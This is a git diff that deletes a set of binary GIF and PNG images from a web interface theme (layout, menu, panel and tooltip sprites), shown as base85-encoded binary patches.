b/public/images/default/layout/mini-bottom.gif deleted file mode 100644 index c18f9e34ac1f4d06525592c5ec25783921e7ab1c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 856 zcmZ?wbhEHbRAyjhXlGz>c6N36?{M+r#W!!>FpPrH5Ex-0p!k!8nSp_kK?me-P@Z7m zFlAunknz~C;9xU5Gl#^14GRyqF(|p!cuZW_z#t(WR-;k)_;9y`aa9RNLW=VQMPsFy Kokpn+4AubBJRUOu diff --git a/public/images/default/layout/mini-left.gif b/public/images/default/layout/mini-left.gif deleted file mode 100644 index 99f7993f260b374440c5c8baa41a600eca99d74d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 871 zcmZ?wbhEHbWMxohXlGz>c6N36?{M+r#W!!>FpPrH5Ex-0p!k!8nSp_kK?me-P@Z7m zaA9EP;893e(9p!fE+S&!pm?~AUD|4jgy5sYono4CYdSV2yD|teHi#$`Jzc6N36?{M+r#W!!>FpPrH5Ex-0p!k!8nSp_kK?me-P@Z7m zaAja+k&tj`IMB$%CgZbW!-Ix)HhHZSi@+q84iWvZBN>K^-5Dep8%#8W7*0-Pa>$EW bxpC?7J_E~BDJKIG4z;p#3-JgDFjxZsq+}v; diff --git a/public/images/default/layout/mini-top.gif b/public/images/default/layout/mini-top.gif deleted file mode 100644 index a4ca2bb20aad89264b9022fee88ee29154dfb192..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 856 zcmZ?wbhEHbRAyjhXlGz>c6N36?{M+r#W!!>FpPrH5Ex-0p!k!8nSp_kK?me-P@Z7m zFlAuo;89qx;9xU{u$s(?fCCNf0?JM-3L76eGxBgot>IYk*sW87)#{JM#>MWF#5uKM LPHswdV6X-Nu*4oA diff --git a/public/images/default/layout/ns-collapse.gif b/public/images/default/layout/ns-collapse.gif deleted file mode 100644 index df2a77e9cc50cdb15e8be856710f506d462a9677..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 842 zcmZ?wbhEHb`0o(Vu;KK>|7RZkKlk|m`6vG`Jo$g|>HkYl|6hLg|LXJq z*I)d<@$&!8m;Z0Q`hVy3e}+*o8Un*81QdU=FoV3K10q0qf`LPwfssSTW5WW+W=1|P io&z5e4!5x=GEI;OeCX1}EU(tHE{jAJP4AubO%sO%a diff --git a/public/images/default/layout/ns-expand.gif b/public/images/default/layout/ns-expand.gif deleted file mode 100644 index 77ab9dad2948270706c9b982c5fcdce78940b4c4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 843 zcmZ?wbhEHb`0o(Vu;KK>|7RZkKlk|m`6vG`Jo$g|>HkYl|6hLg|LXJq z*I)d<@$&!8m;Z0Q`hVy3e}+*o8Un*81QdU=FoV3K10q0qf`LPWfssSTW5a@jjf_kR jAsz;b4DD>fMm823AG&mK%ZJ76*!b{ZzXCfO3xhQP{>?dp diff --git a/public/images/default/layout/panel-close.gif b/public/images/default/layout/panel-close.gif deleted file mode 100644 index 2bdd6239987b95025826fa39f37a036d73ae1c9a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 829 zcmZ?wbhEHbWM^P!XlG!MGRSrK@6dAaKf@>(4S|st0*XIbm>C!t8FWBi2jvL{4k-pk f4i1Na28TvQ9=?!{4GD)^*u|AnEG{HEFjxZs3+oT= diff --git a/public/images/default/layout/panel-title-bg.gif b/public/images/default/layout/panel-title-bg.gif deleted file mode 100644 index d1daef54c578cced19b7f0c3074dd7a23d071cb1..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 838 zcmZ?wbhEHbWMoKTXlGzB%sOhAecUMblu_OpknmbK5V>R(wmyk!^#qaiSiLO}5+3(z&}UbNe&Fw0C0UOPyhe` diff --git a/public/images/default/layout/panel-title-light-bg.gif b/public/images/default/layout/panel-title-light-bg.gif deleted file mode 100644 index 8c2c83d82536f2e1e8c1fa15ccdf6683047b1d34..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 835 zcmZ?wbhEHbWMoKUXlGzJdGFVm`@haV{B`m1uPaY~Uw`)d){EbFU;TOT=Fj7|f1bYo z^Wx***Ps8s`}&t*6pV(zunPgjpDaK>{b$et`3#gN7&sIdqzxh#C@?lLvvCPXC@3&A WvZm{QhJfNv7G{tF#eZVXMX8A; zsVNHOnI#ztAsML(?w-B@3=BFTX;5xq;Lv4YLV0FMhC)b2s)D9)qBYY9s=7v2nHV6X-NX@DCv diff --git a/public/images/default/layout/tab-close-on.gif b/public/images/default/layout/tab-close-on.gif deleted file mode 100644 index eacea39b623348f656de9a8f0df4ac4b74ceccbd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 880 zcmZ?wbhEHb)z|%kKX-x z_TkUV&wm+4!Dt8!#}H8b$pZA&e+C_p=RkRafy0-9okPYWK%u#rLy#**AmKn$J2Q)p zz={Nh21Zf+FqsJojYs=sS(PMy7OF5cvh&sKnGv+0v0q<*pG<%Q!&xR)rDrk@3zqxO MXKm)=;9#%@0E9$42LJ#7 diff --git a/public/images/default/layout/tab-close.gif b/public/images/default/layout/tab-close.gif deleted file mode 100644 index 45db61e6000bedd9a4eacdd171d99a9af159389b..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 859 zcmZ?wbhEHb+a1fq{uZ2jn48o?zgxVBqGE@d#MZ z(99ty#S`H0kb#knn;}DEVv=)*u)3Vdj=;yqxu0#kX9cC0)w0klmAo1XIMn(o} E0NP7EbN~PV diff --git a/public/images/default/menu/checked.gif b/public/images/default/menu/checked.gif deleted file mode 100644 index fad5893727ee8a13f428aa777380ae97152adec8..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 959 zcmZ?wbhEHb6krfwXlGz>j-2EYIms=0ihImdkJxD*ann5GrhCOt_fD7*mN_@JU|~Yh zlH}5*DP>F3%9rQXt#bJ9P}a7(ufM;0=I)-EyC%%tyKeK&xyuhMUUy>sj`JIKUfjO_ z>dyTab{)LB=kT>-Cr%wbdG^%lGbhhnIDP)=+4C1qp1*tM!nLy(uU)-*?dpv?S8v|E zb?f%+J9qBfy?6e~qdWJX+*RNl{ef##~$B&;sfByLSi(wRuh5*qap!k!8nE{v; zbU->ld4hps4uc|xjK_ur2b)<{HDXQ_Japi6Q1W6iYUvPA5Rzlscwpk<4sO9XmXjI+ zi&_OWe7|@wG&BoL67X4M6R7Omz-DfcwPk^l8<#v6OGU!M%_;%{ss?XfI5Zp-5OGar zYW(QXz|GEX#*rx~s>CVD%q0^Mz{1hH&cW`(j0A>8wr;ZvZ4rjePOb7*MGqXL4LK$% TI;tJY@rY17bXb6iiNP8GS6tA5 diff --git a/public/images/default/menu/group-checked.gif b/public/images/default/menu/group-checked.gif deleted file mode 100644 index d30b3e5a8f138bfbbfea3d1d6d5631a81268fe26..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 891 zcmZ?wbhEHb6krfwXlGzxGAUp-FJv++Vzw-1u&!ctt7CJoDF4C-YI>17M;4q>erj}J#1 znRLYtaeQ=iW)bC#?NNBB=*-HhDWD|4xae>zCoh|V$$>=XHZB1n7Kal~O{`q}VgeQu b3s{-ixj1G-bT~0I2=PqTialkbz+epkbq-F$ diff --git a/public/images/default/menu/item-over.gif b/public/images/default/menu/item-over.gif deleted file mode 100644 index 01678393246989162922ff0051d855ea02b4c464..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 820 zcmZ?wbhEHbWMU9yXlGzpb>`d67r$SB{>v~5Mnhoag@EEu7NDp9Gw6W44$2b@9D)q2 W95Nmo7Bnz$2y4ZhC`fc*um%9+ToJhd diff --git a/public/images/default/menu/menu-parent.gif b/public/images/default/menu/menu-parent.gif deleted file mode 100644 index 1e375622ff951a3a3f1ccc668061e81b9c93b411..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 854 zcmZ?wbhEHbOQz{a2h@&qVP zFmM<%@JmQ|Y*@g^%E=?8;=tJG)Wo9VlknjJLnFJO0!M|%0mo(rQBEC(fQyeBCb4lX KFcA=7um%9T95sFb diff --git a/public/images/default/menu/menu.gif b/public/images/default/menu/menu.gif deleted file mode 100644 index 30a2c4b6c0458751f85126e8bbca6ef2ccc2ff00..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 834 zcmZ?wbhEHb{Kde?(9Xc{=<(wZA3ps5|DRzLjE2C-3jxKSEI?2HXV3w89h4^+IOG|a lIb=LGEI8Q6z#`0voy-@k72&h=Y%ZQ8zP%g((!cJJT4@8F*OhYlV-dg#cp zW5-XNI(_EM*|Vq5Up;&A+S!ZOuUxr$qNpFDl?^y$-QVDS9;ix)3mg1{>fcnt(^ zUcUi>w{PFRfB*i&hYz1Vefsj{%h#`8zkU10FbYOPfHonZ_>+YhWU>y30Obh=jxGj9 z4jGRP3l283GHb+~D0p~)!9>Yxj)(FAXDKG5ESZ1@4oAD0WI9R=9v*6Ak!N+{dHKMR zl}FY^$AdFLm4!>ptVN@75u5?#BR20ya;KC(goN;9V qqtnW!)kYaNB(j|}n>i$H<|I5^)XKF~L^CSn=7x7MEgZ~D4AuZjXTU80 diff --git a/public/images/default/panel/corners-sprite.gif b/public/images/default/panel/corners-sprite.gif deleted file mode 100644 index aa0d0ed8fb4a7af14a00f77c9fb0f456144363d0..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1418 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 F0{~gSY2E+; diff --git a/public/images/default/panel/top-bottom.png b/public/images/default/panel/top-bottom.png deleted file mode 100644 index 578ffb6092a47d9af33fd86615855ac328958537..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 218 zcmeAS@N?(olHy`uVBq!ia0vp^j6kHr!3Jb81>C#}q}WS5eO=kFvq*AsijL3o~JcpmZ-+$h~ z_Wy_3jh&1fGyeT$7yAGIfBVLN2O~0szQ_GbNqF=$At@m#iKWOT4w?3V`{ps}G&u8y_K7ar7g$G|QJ^XUz(U+@FzFvR&^~SSrx1N9d{QdWj z-+%u9|IaWAMnhnTgn;5t7G{uBbwC6tPcU%&XJBNJ@Yt}xfl*RO%SR(2fsIE%+3C!K zfJH7{j7BjxP82F1;}LV};`zC;>EvWJ`=E%EMNf}&8YCb3qp@(=*;(?+FYc`TtlTo+ zp}tPWVT;DaewImEzP~m$Twd;HFEzuf^wn|Zh|NiVI~J_IzD{1aLst9S;-<|R=j&n) zY}38n&-3V1@9&L`cXyZBTirNa{{A?712gkCNfC{QhXnY zwzDg8A8&6~zAsyC`Qh2A#m@8R-Tqnd^6EzM>veOgi(cJ6SpHx9zpZuUvuBsv!|mtQ z{`~sk_VIfC{dRwUzj*$9`+oWV#ozz3{+M6K{3(1v{q?!!3mQ0?c06e26_QxkD6Dkj zcI%WyT+_vK2mMcNg7q+sp IvM^W!0LCzFhyVZp diff --git a/public/images/default/panel/white-left-right.gif b/public/images/default/panel/white-left-right.gif deleted file mode 100644 index d82c33784d106a699921e8186376adfe08ed7159..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 815 zcmZ?wbhEHbC) zJaOyO$=jb!-~D{{-ski8KVNw8<p u#Ky(P`xTtKWIQ)5IXPLwHYwudrlqH+8zi5aADi9QnH9n_(1;hQKfi0UeNEKzV_IL!CjML&jsnf`iQ*+*TO}5*nMB cm>F0E91a{{WZ^W*x^rUV;^X}?%uEc{048uWPyhe` diff --git a/public/images/default/qtip/bg.gif b/public/images/default/qtip/bg.gif deleted file mode 100644 index 43488afdbd4924057e45df94ed68690068fbabac..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1091 zcmZ?wbhEHbvJG_ z_wB{IZ!h0}dj&)vzP|>dkKf;X{QmaSk9R=y`N#XuKRjL%gg;OJ?2_%ZN9oX+&1IxF3}_H>l603F*t71i4@GZyiE4sw%lkTl{?!^ z6Bo7I-L2~P;_hzq*8BVGLsu~TDQ|svxII!MZqJR@$6^zdt>?XQDtdZif@HSanM&4& z=Nke$o_R~@-`i0Xygcmmtu?PVY}k3~nAhx8xhrg)|NZ;-|Nno6Q7{?;gDC_Qf3h$$FfcOc zfE)$N6ATu z!(r;m%j_$9KP-wo!oMF4bR^Z#pCLVEt6JIYJY>r`(GBHu8TKMAH hV%craN*NY1aV$`Fvrs8ibZTIkpzPfzqoBZG4FEi-n5_T+ diff --git a/public/images/default/qtip/tip-anchor-sprite.gif b/public/images/default/qtip/tip-anchor-sprite.gif deleted file mode 100644 index 9cf485060802498647ba462c826869140085778c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 951 zcmZ?wbhEHbRAb;`_|Cx4x9Z%wLw6p$`1JJa&v#${Ljc1l7!84u5dw-oSr{1@*cfy` z-Ua0e297BVyc{MB2@4t-nK?8-AM7;o6g|H=X=D(-<8}9T;jWog=1UD z4&$fCrm{73`D9*Nda=)=)Tw8u>7xs+o|a)(X9%W5PEyUaQmLAfdV6NU**cdOLJyDZ LX;5ZkVXy`O9&A$y diff --git a/public/images/default/qtip/tip-sprite.gif b/public/images/default/qtip/tip-sprite.gif deleted file mode 100644 index 9810acac5b323d99a641627276e8dbb9a3607d2e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 4271 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 